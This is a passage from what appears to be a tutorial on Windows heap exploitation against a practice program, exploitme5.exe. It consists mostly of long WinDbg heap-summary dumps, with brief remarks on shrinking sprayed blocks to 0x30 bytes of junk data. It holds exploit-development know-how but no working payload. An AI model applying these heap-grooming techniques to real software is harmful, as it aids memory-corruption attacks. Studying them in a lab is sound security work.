Virtual block: 03820000 - 03820000 (size 00000000)
Virtual block: 03930000 - 03930000 (size 00000000)
Virtual block: 03a40000 - 03a40000 (size 00000000)
Virtual block: 03b50000 - 03b50000 (size 00000000)
Virtual block: 03c60000 - 03c60000 (size 00000000)
Virtual block: 03d70000 - 03d70000 (size 00000000)
Virtual block: 03e80000 - 03e80000 (size 00000000)
Virtual block: 03f90000 - 03f90000 (size 00000000)
Virtual block: 040a0000 - 040a0000 (size 00000000)
Virtual block: 041b0000 - 041b0000 (size 00000000)
Virtual block: 042c0000 - 042c0000 (size 00000000)
Virtual block: 043d0000 - 043d0000 (size 00000000)
Virtual block: 044e0000 - 044e0000 (size 00000000)
Virtual block: 045f0000 - 045f0000 (size 00000000)
Virtual block: 04700000 - 04700000 (size 00000000)
Virtual block: 04810000 - 04810000 (size 00000000)
Virtual block: 04920000 - 04920000 (size 00000000)
Virtual block: 04a30000 - 04a30000 (size 00000000)
Virtual block: 04b40000 - 04b40000 (size 00000000)
Virtual block: 04c50000 - 04c50000 (size 00000000)
Virtual block: 04d60000 - 04d60000 (size 00000000)
Virtual block: 04e70000 - 04e70000 (size 00000000)
Virtual block: 04f80000 - 04f80000 (size 00000000)
Virtual block: 05090000 - 05090000 (size 00000000)
Virtual block: 051a0000 - 051a0000 (size 00000000)
Virtual block: 052b0000 - 052b0000 (size 00000000)
Virtual block: 053c0000 - 053c0000 (size 00000000)
Virtual block: 054d0000 - 054d0000 (size 00000000)
Virtual block: 055e0000 - 055e0000 (size 00000000)
Virtual block: 056f0000 - 056f0000 (size 00000000)
Virtual block: 05800000 - 05800000 (size 00000000)
Virtual block: 05910000 - 05910000 (size 00000000)
Virtual block: 05a20000 - 05a20000 (size 00000000)
Virtual block: 05b30000 - 05b30000 (size 00000000)
Virtual block: 05c40000 - 05c40000 (size 00000000)
Virtual block: 05d50000 - 05d50000 (size 00000000)
Virtual block: 05e60000 - 05e60000 (size 00000000)
Virtual block: 05f70000 - 05f70000 (size 00000000)
Virtual block: 06080000 - 06080000 (size 00000000)
Virtual block: 06190000 - 06190000 (size 00000000)
Virtual block: 062a0000 - 062a0000 (size 00000000)
Virtual block: 063b0000 - 063b0000 (size 00000000)
Virtual block: 064c0000 - 064c0000 (size 00000000)
Virtual block: 065d0000 - 065d0000 (size 00000000)
Virtual block: 066e0000 - 066e0000 (size 00000000)
Virtual block: 067f0000 - 067f0000 (size 00000000)
Virtual block: 06900000 - 06900000 (size 00000000)
Virtual block: 06a10000 - 06a10000 (size 00000000)
Virtual block: 06b20000 - 06b20000 (size 00000000)
Virtual block: 06c30000 - 06c30000 (size 00000000)
Virtual block: 06d40000 - 06d40000 (size 00000000)
Virtual block: 06e50000 - 06e50000 (size 00000000)
Virtual block: 06f60000 - 06f60000 (size 00000000)
Virtual block: 07070000 - 07070000 (size 00000000)
Virtual block: 07180000 - 07180000 (size 00000000)
Virtual block: 07290000 - 07290000 (size 00000000)
Virtual block: 073a0000 - 073a0000 (size 00000000)
Virtual block: 074b0000 - 074b0000 (size 00000000)
Virtual block: 075c0000 - 075c0000 (size 00000000)
Virtual block: 076d0000 - 076d0000 (size 00000000)
Virtual block: 077e0000 - 077e0000 (size 00000000)
Virtual block: 078f0000 - 078f0000 (size 00000000)
Virtual block: 07a00000 - 07a00000 (size 00000000)
Virtual block: 07b10000 - 07b10000 (size 00000000)
Virtual block: 07c20000 - 07c20000 (size 00000000)
Virtual block: 07d30000 - 07d30000 (size 00000000)
Virtual block: 07e40000 - 07e40000 (size 00000000)
Virtual block: 07f50000 - 07f50000 (size 00000000)
Virtual block: 08060000 - 08060000 (size 00000000)
Virtual block: 08170000 - 08170000 (size 00000000)
Virtual block: 08280000 - 08280000 (size 00000000)
Virtual block: 08390000 - 08390000 (size 00000000)
Virtual block: 084a0000 - 084a0000 (size 00000000)
Virtual block: 085b0000 - 085b0000 (size 00000000)
Virtual block: 086c0000 - 086c0000 (size 00000000)
Virtual block: 087d0000 - 087d0000 (size 00000000)
Virtual block: 088e0000 - 088e0000 (size 00000000)
Virtual block: 089f0000 - 089f0000 (size 00000000)
Virtual block: 08b00000 - 08b00000 (size 00000000)
Virtual block: 08c10000 - 08c10000 (size 00000000)
Virtual block: 08d20000 - 08d20000 (size 00000000)
Virtual block: 08e30000 - 08e30000 (size 00000000)
Virtual block: 08f40000 - 08f40000 (size 00000000)
Virtual block: 09050000 - 09050000 (size 00000000)
Virtual block: 09160000 - 09160000 (size 00000000)
Virtual block: 09270000 - 09270000 (size 00000000)
Virtual block: 09380000 - 09380000 (size 00000000)
Virtual block: 09490000 - 09490000 (size 00000000)
Virtual block: 095a0000 - 095a0000 (size 00000000)
Virtual block: 096b0000 - 096b0000 (size 00000000)
Virtual block: 097c0000 - 097c0000 (size 00000000)
Virtual block: 098d0000 - 098d0000 (size 00000000)
Virtual block: 099e0000 - 099e0000 (size 00000000)
Virtual block: 09af0000 - 09af0000 (size 00000000)
Virtual block: 09c00000 - 09c00000 (size 00000000)
Virtual block: 09d10000 - 09d10000 (size 00000000)
Virtual block: 09e20000 - 09e20000 (size 00000000)
Virtual block: 09f30000 - 09f30000 (size 00000000)
Virtual block: 0a040000 - 0a040000 (size 00000000)
Virtual block: 0a150000 - 0a150000 (size 00000000)
Virtual block: 0a260000 - 0a260000 (size 00000000)
Virtual block: 0a370000 - 0a370000 (size 00000000)
Virtual block: 0a480000 - 0a480000 (size 00000000)
Virtual block: 0a590000 - 0a590000 (size 00000000)
Virtual block: 0a6a0000 - 0a6a0000 (size 00000000)
Virtual block: 0a7b0000 - 0a7b0000 (size 00000000)
Virtual block: 0a8c0000 - 0a8c0000 (size 00000000)
Virtual block: 0a9d0000 - 0a9d0000 (size 00000000)
Virtual block: 0aae0000 - 0aae0000 (size 00000000)
Virtual block: 0abf0000 - 0abf0000 (size 00000000)
Virtual block: 0ad00000 - 0ad00000 (size 00000000)
Virtual block: 0ae10000 - 0ae10000 (size 00000000)
Virtual block: 0af20000 - 0af20000 (size 00000000)
Virtual block: 0b030000 - 0b030000 (size 00000000)
Virtual block: 0b140000 - 0b140000 (size 00000000)
Virtual block: 0b250000 - 0b250000 (size 00000000)
Virtual block: 0b360000 - 0b360000 (size 00000000)
Virtual block: 0b470000 - 0b470000 (size 00000000)
Virtual block: 0b580000 - 0b580000 (size 00000000)
Virtual block: 0b690000 - 0b690000 (size 00000000)
Virtual block: 0b7a0000 - 0b7a0000 (size 00000000)
Virtual block: 0b8b0000 - 0b8b0000 (size 00000000)
Virtual block: 0b9c0000 - 0b9c0000 (size 00000000)
Virtual block: 0bad0000 - 0bad0000 (size 00000000)
Virtual block: 0bbe0000 - 0bbe0000 (size 00000000)
Virtual block: 0bcf0000 - 0bcf0000 (size 00000000)
Virtual block: 0be00000 - 0be00000 (size 00000000)
Virtual block: 0bf10000 - 0bf10000 (size 00000000)
Virtual block: 0c020000 - 0c020000 (size 00000000)
Virtual block: 0c130000 - 0c130000 (size 00000000)
Virtual block: 0c240000 - 0c240000 (size 00000000)
Virtual block: 0c350000 - 0c350000 (size 00000000)
Virtual block: 0c460000 - 0c460000 (size 00000000)
Virtual block: 0c570000 - 0c570000 (size 00000000)
Virtual block: 0c680000 - 0c680000 (size 00000000)
Virtual block: 0c790000 - 0c790000 (size 00000000)
Virtual block: 0c8a0000 - 0c8a0000 (size 00000000)
Virtual block: 0c9b0000 - 0c9b0000 (size 00000000)
Virtual block: 0cac0000 - 0cac0000 (size 00000000)
Virtual block: 0cbd0000 - 0cbd0000 (size 00000000)
Virtual block: 0cce0000 - 0cce0000 (size 00000000)
Virtual block: 0cdf0000 - 0cdf0000 (size 00000000)
Virtual block: 0cf00000 - 0cf00000 (size 00000000)
Virtual block: 0d010000 - 0d010000 (size 00000000)
Virtual block: 0d120000 - 0d120000 (size 00000000)
Virtual block: 0d230000 - 0d230000 (size 00000000)
Virtual block: 0d340000 - 0d340000 (size 00000000)
Virtual block: 0d450000 - 0d450000 (size 00000000)
Virtual block: 0d560000 - 0d560000 (size 00000000)
Virtual block: 0d670000 - 0d670000 (size 00000000)
Virtual block: 0d780000 - 0d780000 (size 00000000)
Virtual block: 0d890000 - 0d890000 (size 00000000)
Virtual block: 0d9a0000 - 0d9a0000 (size 00000000)
Virtual block: 0dab0000 - 0dab0000 (size 00000000)
Virtual block: 0dbc0000 - 0dbc0000 (size 00000000)
Virtual block: 0dcd0000 - 0dcd0000 (size 00000000)
Virtual block: 0dde0000 - 0dde0000 (size 00000000)
Virtual block: 0def0000 - 0def0000 (size 00000000)
Virtual block: 0e000000 - 0e000000 (size 00000000)
Virtual block: 0e110000 - 0e110000 (size 00000000)
Virtual block: 0e220000 - 0e220000 (size 00000000)
Virtual block: 0e330000 - 0e330000 (size 00000000)
Virtual block: 0e440000 - 0e440000 (size 00000000)
Virtual block: 0e550000 - 0e550000 (size 00000000)
Virtual block: 0e660000 - 0e660000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e880000 - 0e880000 (size 00000000)
Virtual block: 0e990000 - 0e990000 (size 00000000)
Virtual block: 0eaa0000 - 0eaa0000 (size 00000000)
Virtual block: 0ebb0000 - 0ebb0000 (size 00000000)
Virtual block: 0ecc0000 - 0ecc0000 (size 00000000)
Virtual block: 0edd0000 - 0edd0000 (size 00000000)
Virtual block: 0eee0000 - 0eee0000 (size 00000000)
Virtual block: 0eff0000 - 0eff0000 (size 00000000)
Virtual block: 0f100000 - 0f100000 (size 00000000)
Virtual block: 0f210000 - 0f210000 (size 00000000)
Virtual block: 0f320000 - 0f320000 (size 00000000)
Virtual block: 0f430000 - 0f430000 (size 00000000)
Virtual block: 0f540000 - 0f540000 (size 00000000)
Virtual block: 0f650000 - 0f650000 (size 00000000)
00700000 40000062    1024    188   1024     93     9     1  201      0      
00190000 40001062      64     12     64      2     2     1    0      0      
020c0000 40001062    1088    160   1088     68     5     2    0      0      
022a0000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

Nothing changed! Let’s try to reduce the size of our blocks even more:

In WinDbg:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x4863b9c2
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 00c60000 - 00c60000 (size 00000000)
Virtual block: 00e60000 - 00e60000 (size 00000000)
Virtual block: 00f60000 - 00f60000 (size 00000000)
Virtual block: 01060000 - 01060000 (size 00000000)
Virtual block: 01160000 - 01160000 (size 00000000)
Virtual block: 02730000 - 02730000 (size 00000000)
Virtual block: 02830000 - 02830000 (size 00000000)
Virtual block: 02930000 - 02930000 (size 00000000)
Virtual block: 02a30000 - 02a30000 (size 00000000)
Virtual block: 02b30000 - 02b30000 (size 00000000)
Virtual block: 02c30000 - 02c30000 (size 00000000)
Virtual block: 02d30000 - 02d30000 (size 00000000)
Virtual block: 02e30000 - 02e30000 (size 00000000)
Virtual block: 02f30000 - 02f30000 (size 00000000)
Virtual block: 03030000 - 03030000 (size 00000000)
Virtual block: 03130000 - 03130000 (size 00000000)
Virtual block: 03230000 - 03230000 (size 00000000)
Virtual block: 03330000 - 03330000 (size 00000000)
Virtual block: 03430000 - 03430000 (size 00000000)
Virtual block: 03530000 - 03530000 (size 00000000)
Virtual block: 03630000 - 03630000 (size 00000000)
Virtual block: 03730000 - 03730000 (size 00000000)
Virtual block: 03830000 - 03830000 (size 00000000)
Virtual block: 03930000 - 03930000 (size 00000000)
Virtual block: 03a30000 - 03a30000 (size 00000000)
Virtual block: 03b30000 - 03b30000 (size 00000000)
Virtual block: 03c30000 - 03c30000 (size 00000000)
Virtual block: 03d30000 - 03d30000 (size 00000000)
Virtual block: 03e30000 - 03e30000 (size 00000000)
Virtual block: 03f30000 - 03f30000 (size 00000000)
Virtual block: 04030000 - 04030000 (size 00000000)
Virtual block: 04130000 - 04130000 (size 00000000)
Virtual block: 04230000 - 04230000 (size 00000000)
Virtual block: 04330000 - 04330000 (size 00000000)
Virtual block: 04430000 - 04430000 (size 00000000)
Virtual block: 04530000 - 04530000 (size 00000000)
Virtual block: 04630000 - 04630000 (size 00000000)
Virtual block: 04730000 - 04730000 (size 00000000)
Virtual block: 04830000 - 04830000 (size 00000000)
Virtual block: 04930000 - 04930000 (size 00000000)
Virtual block: 04a30000 - 04a30000 (size 00000000)
Virtual block: 04b30000 - 04b30000 (size 00000000)
Virtual block: 04c30000 - 04c30000 (size 00000000)
Virtual block: 04d30000 - 04d30000 (size 00000000)
Virtual block: 04e30000 - 04e30000 (size 00000000)
Virtual block: 04f30000 - 04f30000 (size 00000000)
Virtual block: 05030000 - 05030000 (size 00000000)
Virtual block: 05130000 - 05130000 (size 00000000)
Virtual block: 05230000 - 05230000 (size 00000000)
Virtual block: 05330000 - 05330000 (size 00000000)
Virtual block: 05430000 - 05430000 (size 00000000)
Virtual block: 05530000 - 05530000 (size 00000000)
Virtual block: 05630000 - 05630000 (size 00000000)
Virtual block: 05730000 - 05730000 (size 00000000)
Virtual block: 05830000 - 05830000 (size 00000000)
Virtual block: 05930000 - 05930000 (size 00000000)
Virtual block: 05a30000 - 05a30000 (size 00000000)
Virtual block: 05b30000 - 05b30000 (size 00000000)
Virtual block: 05c30000 - 05c30000 (size 00000000)
Virtual block: 05d30000 - 05d30000 (size 00000000)
Virtual block: 05e30000 - 05e30000 (size 00000000)
Virtual block: 05f30000 - 05f30000 (size 00000000)
Virtual block: 06030000 - 06030000 (size 00000000)
Virtual block: 06130000 - 06130000 (size 00000000)
Virtual block: 06230000 - 06230000 (size 00000000)
Virtual block: 06330000 - 06330000 (size 00000000)
Virtual block: 06430000 - 06430000 (size 00000000)
Virtual block: 06530000 - 06530000 (size 00000000)
Virtual block: 06630000 - 06630000 (size 00000000)
Virtual block: 06730000 - 06730000 (size 00000000)
Virtual block: 06830000 - 06830000 (size 00000000)
Virtual block: 06930000 - 06930000 (size 00000000)
Virtual block: 06a30000 - 06a30000 (size 00000000)
Virtual block: 06b30000 - 06b30000 (size 00000000)
Virtual block: 06c30000 - 06c30000 (size 00000000)
Virtual block: 06d30000 - 06d30000 (size 00000000)
Virtual block: 06e30000 - 06e30000 (size 00000000)
Virtual block: 06f30000 - 06f30000 (size 00000000)
Virtual block: 07030000 - 07030000 (size 00000000)
Virtual block: 07130000 - 07130000 (size 00000000)
Virtual block: 07230000 - 07230000 (size 00000000)
Virtual block: 07330000 - 07330000 (size 00000000)
Virtual block: 07430000 - 07430000 (size 00000000)
Virtual block: 07530000 - 07530000 (size 00000000)
Virtual block: 07630000 - 07630000 (size 00000000)
Virtual block: 07730000 - 07730000 (size 00000000)
Virtual block: 07830000 - 07830000 (size 00000000)
Virtual block: 07930000 - 07930000 (size 00000000)
Virtual block: 07a30000 - 07a30000 (size 00000000)
Virtual block: 07b30000 - 07b30000 (size 00000000)
Virtual block: 07c30000 - 07c30000 (size 00000000)
Virtual block: 07d30000 - 07d30000 (size 00000000)
Virtual block: 07e30000 - 07e30000 (size 00000000)
Virtual block: 07f30000 - 07f30000 (size 00000000)
Virtual block: 08030000 - 08030000 (size 00000000)
Virtual block: 08130000 - 08130000 (size 00000000)
Virtual block: 08230000 - 08230000 (size 00000000)
Virtual block: 08330000 - 08330000 (size 00000000)
Virtual block: 08430000 - 08430000 (size 00000000)
Virtual block: 08530000 - 08530000 (size 00000000)
Virtual block: 08630000 - 08630000 (size 00000000)
Virtual block: 08730000 - 08730000 (size 00000000)
Virtual block: 08830000 - 08830000 (size 00000000)
Virtual block: 08930000 - 08930000 (size 00000000)
Virtual block: 08a30000 - 08a30000 (size 00000000)
Virtual block: 08b30000 - 08b30000 (size 00000000)
Virtual block: 08c30000 - 08c30000 (size 00000000)
Virtual block: 08d30000 - 08d30000 (size 00000000)
Virtual block: 08e30000 - 08e30000 (size 00000000)
Virtual block: 08f30000 - 08f30000 (size 00000000)
Virtual block: 09030000 - 09030000 (size 00000000)
Virtual block: 09130000 - 09130000 (size 00000000)
Virtual block: 09230000 - 09230000 (size 00000000)
Virtual block: 09330000 - 09330000 (size 00000000)
Virtual block: 09430000 - 09430000 (size 00000000)
Virtual block: 09530000 - 09530000 (size 00000000)
Virtual block: 09630000 - 09630000 (size 00000000)
Virtual block: 09730000 - 09730000 (size 00000000)
Virtual block: 09830000 - 09830000 (size 00000000)
Virtual block: 09930000 - 09930000 (size 00000000)
Virtual block: 09a30000 - 09a30000 (size 00000000)
Virtual block: 09b30000 - 09b30000 (size 00000000)
Virtual block: 09c30000 - 09c30000 (size 00000000)
Virtual block: 09d30000 - 09d30000 (size 00000000)
Virtual block: 09e30000 - 09e30000 (size 00000000)
Virtual block: 09f30000 - 09f30000 (size 00000000)
Virtual block: 0a030000 - 0a030000 (size 00000000)
Virtual block: 0a130000 - 0a130000 (size 00000000)
Virtual block: 0a230000 - 0a230000 (size 00000000)
Virtual block: 0a330000 - 0a330000 (size 00000000)
Virtual block: 0a430000 - 0a430000 (size 00000000)
Virtual block: 0a530000 - 0a530000 (size 00000000)
Virtual block: 0a630000 - 0a630000 (size 00000000)
Virtual block: 0a730000 - 0a730000 (size 00000000)
Virtual block: 0a830000 - 0a830000 (size 00000000)
Virtual block: 0a930000 - 0a930000 (size 00000000)
Virtual block: 0aa30000 - 0aa30000 (size 00000000)
Virtual block: 0ab30000 - 0ab30000 (size 00000000)
Virtual block: 0ac30000 - 0ac30000 (size 00000000)
Virtual block: 0ad30000 - 0ad30000 (size 00000000)
Virtual block: 0ae30000 - 0ae30000 (size 00000000)
Virtual block: 0af30000 - 0af30000 (size 00000000)
Virtual block: 0b030000 - 0b030000 (size 00000000)
Virtual block: 0b130000 - 0b130000 (size 00000000)
Virtual block: 0b230000 - 0b230000 (size 00000000)
Virtual block: 0b330000 - 0b330000 (size 00000000)
Virtual block: 0b430000 - 0b430000 (size 00000000)
Virtual block: 0b530000 - 0b530000 (size 00000000)
Virtual block: 0b630000 - 0b630000 (size 00000000)
Virtual block: 0b730000 - 0b730000 (size 00000000)
Virtual block: 0b830000 - 0b830000 (size 00000000)
Virtual block: 0b930000 - 0b930000 (size 00000000)
Virtual block: 0ba30000 - 0ba30000 (size 00000000)
Virtual block: 0bb30000 - 0bb30000 (size 00000000)
Virtual block: 0bc30000 - 0bc30000 (size 00000000)
Virtual block: 0bd30000 - 0bd30000 (size 00000000)
Virtual block: 0be30000 - 0be30000 (size 00000000)
Virtual block: 0bf30000 - 0bf30000 (size 00000000)
Virtual block: 0c030000 - 0c030000 (size 00000000)
Virtual block: 0c130000 - 0c130000 (size 00000000)
Virtual block: 0c230000 - 0c230000 (size 00000000)
Virtual block: 0c330000 - 0c330000 (size 00000000)
Virtual block: 0c430000 - 0c430000 (size 00000000)
Virtual block: 0c530000 - 0c530000 (size 00000000)
Virtual block: 0c630000 - 0c630000 (size 00000000)
Virtual block: 0c730000 - 0c730000 (size 00000000)
Virtual block: 0c830000 - 0c830000 (size 00000000)
Virtual block: 0c930000 - 0c930000 (size 00000000)
Virtual block: 0ca30000 - 0ca30000 (size 00000000)
Virtual block: 0cb30000 - 0cb30000 (size 00000000)
Virtual block: 0cc30000 - 0cc30000 (size 00000000)
Virtual block: 0cd30000 - 0cd30000 (size 00000000)
Virtual block: 0ce30000 - 0ce30000 (size 00000000)
Virtual block: 0cf30000 - 0cf30000 (size 00000000)
Virtual block: 0d030000 - 0d030000 (size 00000000)
Virtual block: 0d130000 - 0d130000 (size 00000000)
Virtual block: 0d230000 - 0d230000 (size 00000000)
Virtual block: 0d330000 - 0d330000 (size 00000000)
Virtual block: 0d430000 - 0d430000 (size 00000000)
Virtual block: 0d530000 - 0d530000 (size 00000000)
Virtual block: 0d630000 - 0d630000 (size 00000000)
Virtual block: 0d730000 - 0d730000 (size 00000000)
Virtual block: 0d830000 - 0d830000 (size 00000000)
Virtual block: 0d930000 - 0d930000 (size 00000000)
Virtual block: 0da30000 - 0da30000 (size 00000000)
Virtual block: 0db30000 - 0db30000 (size 00000000)
Virtual block: 0dc30000 - 0dc30000 (size 00000000)
Virtual block: 0dd30000 - 0dd30000 (size 00000000)
Virtual block: 0de30000 - 0de30000 (size 00000000)
Virtual block: 0df30000 - 0df30000 (size 00000000)
Virtual block: 0e030000 - 0e030000 (size 00000000)
Virtual block: 0e130000 - 0e130000 (size 00000000)
Virtual block: 0e230000 - 0e230000 (size 00000000)
Virtual block: 0e330000 - 0e330000 (size 00000000)
Virtual block: 0e430000 - 0e430000 (size 00000000)
Virtual block: 0e530000 - 0e530000 (size 00000000)
Virtual block: 0e630000 - 0e630000 (size 00000000)
Virtual block: 0e730000 - 0e730000 (size 00000000)
Virtual block: 0e830000 - 0e830000 (size 00000000)
Virtual block: 0e930000 - 0e930000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
006b0000 40000062    1024    188   1024     93     9     1  201      0      
003b0000 40001062      64     12     64      2     2     1    0      0      
00ad0000 40001062    1088    160   1088     68     5     2    0      0      
002d0000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

Perfect! Now the size of the junk data is just 0x30 bytes. You can verify that 0x30 is the minimum. If you try with 0x2f, it won’t work.

Let’s restart exploitme5.exe and redo it again. This time WinDbg prints the following:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x38c66846
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 02070000 - 02070000 (size 00000000)
Virtual block: 02270000 - 02270000 (size 00000000)
Virtual block: 02370000 - 02370000 (size 00000000)
Virtual block: 02470000 - 02470000 (size 00000000)
Virtual block: 02570000 - 02570000 (size 00000000)
Virtual block: 02670000 - 02670000 (size 00000000)
Virtual block: 02770000 - 02770000 (size 00000000)
Virtual block: 02870000 - 02870000 (size 00000000)
Virtual block: 02970000 - 02970000 (size 00000000)
Virtual block: 02a70000 - 02a70000 (size 00000000)
Virtual block: 02b70000 - 02b70000 (size 00000000)
Virtual block: 02c70000 - 02c70000 (size 00000000)
Virtual block: 02d70000 - 02d70000 (size 00000000)
Virtual block: 02e70000 - 02e70000 (size 00000000)
Virtual block: 02f70000 - 02f70000 (size 00000000)
Virtual block: 03070000 - 03070000 (size 00000000)
Virtual block: 03170000 - 03170000 (size 00000000)
Virtual block: 03270000 - 03270000 (size 00000000)
Virtual block: 03370000 - 03370000 (size 00000000)
Virtual block: 03470000 - 03470000 (size 00000000)
Virtual block: 03570000 - 03570000 (size 00000000)
Virtual block: 03670000 - 03670000 (size 00000000)
Virtual block: 03770000 - 03770000 (size 00000000)
Virtual block: 03870000 - 03870000 (size 00000000)
Virtual block: 03970000 - 03970000 (size 00000000)
Virtual block: 03a70000 - 03a70000 (size 00000000)
Virtual block: 03b70000 - 03b70000 (size 00000000)
Virtual block: 03c70000 - 03c70000 (size 00000000)
Virtual block: 03d70000 - 03d70000 (size 00000000)
Virtual block: 03e70000 - 03e70000 (size 00000000)
Virtual block: 03f70000 - 03f70000 (size 00000000)
Virtual block: 04070000 - 04070000 (size 00000000)
Virtual block: 04170000 - 04170000 (size 00000000)
Virtual block: 04270000 - 04270000 (size 00000000)
Virtual block: 04370000 - 04370000 (size 00000000)
Virtual block: 04470000 - 04470000 (size 00000000)
Virtual block: 04570000 - 04570000 (size 00000000)
Virtual block: 04670000 - 04670000 (size 00000000)
Virtual block: 04770000 - 04770000 (size 00000000)
Virtual block: 04870000 - 04870000 (size 00000000)
Virtual block: 04970000 - 04970000 (size 00000000)
Virtual block: 04a70000 - 04a70000 (size 00000000)
Virtual block: 04b70000 - 04b70000 (size 00000000)
Virtual block: 04c70000 - 04c70000 (size 00000000)
Virtual block: 04d70000 - 04d70000 (size 00000000)
Virtual block: 04e70000 - 04e70000 (size 00000000)
Virtual block: 04f70000 - 04f70000 (size 00000000)
Virtual block: 05070000 - 05070000 (size 00000000)
Virtual block: 05170000 - 05170000 (size 00000000)
Virtual block: 05270000 - 05270000 (size 00000000)
Virtual block: 05370000 - 05370000 (size 00000000)
Virtual block: 05470000 - 05470000 (size 00000000)
Virtual block: 05570000 - 05570000 (size 00000000)
Virtual block: 05670000 - 05670000 (size 00000000)
Virtual block: 05770000 - 05770000 (size 00000000)
Virtual block: 05870000 - 05870000 (size 00000000)
Virtual block: 05970000 - 05970000 (size 00000000)
Virtual block: 05a70000 - 05a70000 (size 00000000)
Virtual block: 05b70000 - 05b70000 (size 00000000)
Virtual block: 05c70000 - 05c70000 (size 00000000)
Virtual block: 05d70000 - 05d70000 (size 00000000)
Virtual block: 05e70000 - 05e70000 (size 00000000)
Virtual block: 05f70000 - 05f70000 (size 00000000)
Virtual block: 06070000 - 06070000 (size 00000000)
Virtual block: 06170000 - 06170000 (size 00000000)
Virtual block: 06270000 - 06270000 (size 00000000)
Virtual block: 06370000 - 06370000 (size 00000000)
Virtual block: 06470000 - 06470000 (size 00000000)
Virtual block: 06570000 - 06570000 (size 00000000)
Virtual block: 06670000 - 06670000 (size 00000000)
Virtual block: 06770000 - 06770000 (size 00000000)
Virtual block: 06870000 - 06870000 (size 00000000)
Virtual block: 06970000 - 06970000 (size 00000000)
Virtual block: 06a70000 - 06a70000 (size 00000000)
Virtual block: 06b70000 - 06b70000 (size 00000000)
Virtual block: 06c70000 - 06c70000 (size 00000000)
Virtual block: 06d70000 - 06d70000 (size 00000000)
Virtual block: 06e70000 - 06e70000 (size 00000000)
Virtual block: 06f70000 - 06f70000 (size 00000000)
Virtual block: 07070000 - 07070000 (size 00000000)
Virtual block: 07170000 - 07170000 (size 00000000)
Virtual block: 07270000 - 07270000 (size 00000000)
Virtual block: 07370000 - 07370000 (size 00000000)
Virtual block: 07470000 - 07470000 (size 00000000)
Virtual block: 07570000 - 07570000 (size 00000000)
Virtual block: 07670000 - 07670000 (size 00000000)
Virtual block: 07770000 - 07770000 (size 00000000)
Virtual block: 07870000 - 07870000 (size 00000000)
Virtual block: 07970000 - 07970000 (size 00000000)
Virtual block: 07a70000 - 07a70000 (size 00000000)
Virtual block: 07b70000 - 07b70000 (size 00000000)
Virtual block: 07c70000 - 07c70000 (size 00000000)
Virtual block: 07d70000 - 07d70000 (size 00000000)
Virtual block: 07e70000 - 07e70000 (size 00000000)
Virtual block: 07f70000 - 07f70000 (size 00000000)
Virtual block: 08070000 - 08070000 (size 00000000)
Virtual block: 08170000 - 08170000 (size 00000000)
Virtual block: 08270000 - 08270000 (size 00000000)
Virtual block: 08370000 - 08370000 (size 00000000)
Virtual block: 08470000 - 08470000 (size 00000000)
Virtual block: 08570000 - 08570000 (size 00000000)
Virtual block: 08670000 - 08670000 (size 00000000)
Virtual block: 08770000 - 08770000 (size 00000000)
Virtual block: 08870000 - 08870000 (size 00000000)
Virtual block: 08970000 - 08970000 (size 00000000)
Virtual block: 08a70000 - 08a70000 (size 00000000)
Virtual block: 08b70000 - 08b70000 (size 00000000)
Virtual block: 08c70000 - 08c70000 (size 00000000)
Virtual block: 08d70000 - 08d70000 (size 00000000)
Virtual block: 08e70000 - 08e70000 (size 00000000)
Virtual block: 08f70000 - 08f70000 (size 00000000)
Virtual block: 09070000 - 09070000 (size 00000000)
Virtual block: 09170000 - 09170000 (size 00000000)
Virtual block: 09270000 - 09270000 (size 00000000)
Virtual block: 09370000 - 09370000 (size 00000000)
Virtual block: 09470000 - 09470000 (size 00000000)
Virtual block: 09570000 - 09570000 (size 00000000)
Virtual block: 09670000 - 09670000 (size 00000000)
Virtual block: 09770000 - 09770000 (size 00000000)
Virtual block: 09870000 - 09870000 (size 00000000)
Virtual block: 09970000 - 09970000 (size 00000000)
Virtual block: 09a70000 - 09a70000 (size 00000000)
Virtual block: 09b70000 - 09b70000 (size 00000000)
Virtual block: 09c70000 - 09c70000 (size 00000000)
Virtual block: 09d70000 - 09d70000 (size 00000000)
Virtual block: 09e70000 - 09e70000 (size 00000000)
Virtual block: 09f70000 - 09f70000 (size 00000000)
Virtual block: 0a070000 - 0a070000 (size 00000000)
Virtual block: 0a170000 - 0a170000 (size 00000000)
Virtual block: 0a270000 - 0a270000 (size 00000000)
Virtual block: 0a370000 - 0a370000 (size 00000000)
Virtual block: 0a470000 - 0a470000 (size 00000000)
Virtual block: 0a570000 - 0a570000 (size 00000000)
Virtual block: 0a670000 - 0a670000 (size 00000000)
Virtual block: 0a770000 - 0a770000 (size 00000000)
Virtual block: 0a870000 - 0a870000 (size 00000000)
Virtual block: 0a970000 - 0a970000 (size 00000000)
Virtual block: 0aa70000 - 0aa70000 (size 00000000)
Virtual block: 0ab70000 - 0ab70000 (size 00000000)
Virtual block: 0ac70000 - 0ac70000 (size 00000000)
Virtual block: 0ad70000 - 0ad70000 (size 00000000)
Virtual block: 0ae70000 - 0ae70000 (size 00000000)
Virtual block: 0af70000 - 0af70000 (size 00000000)
Virtual block: 0b070000 - 0b070000 (size 00000000)
Virtual block: 0b170000 - 0b170000 (size 00000000)
Virtual block: 0b270000 - 0b270000 (size 00000000)
Virtual block: 0b370000 - 0b370000 (size 00000000)
Virtual block: 0b470000 - 0b470000 (size 00000000)
Virtual block: 0b570000 - 0b570000 (size 00000000)
Virtual block: 0b670000 - 0b670000 (size 00000000)
Virtual block: 0b770000 - 0b770000 (size 00000000)
Virtual block: 0b870000 - 0b870000 (size 00000000)
Virtual block: 0b970000 - 0b970000 (size 00000000)
Virtual block: 0ba70000 - 0ba70000 (size 00000000)
Virtual block: 0bb70000 - 0bb70000 (size 00000000)
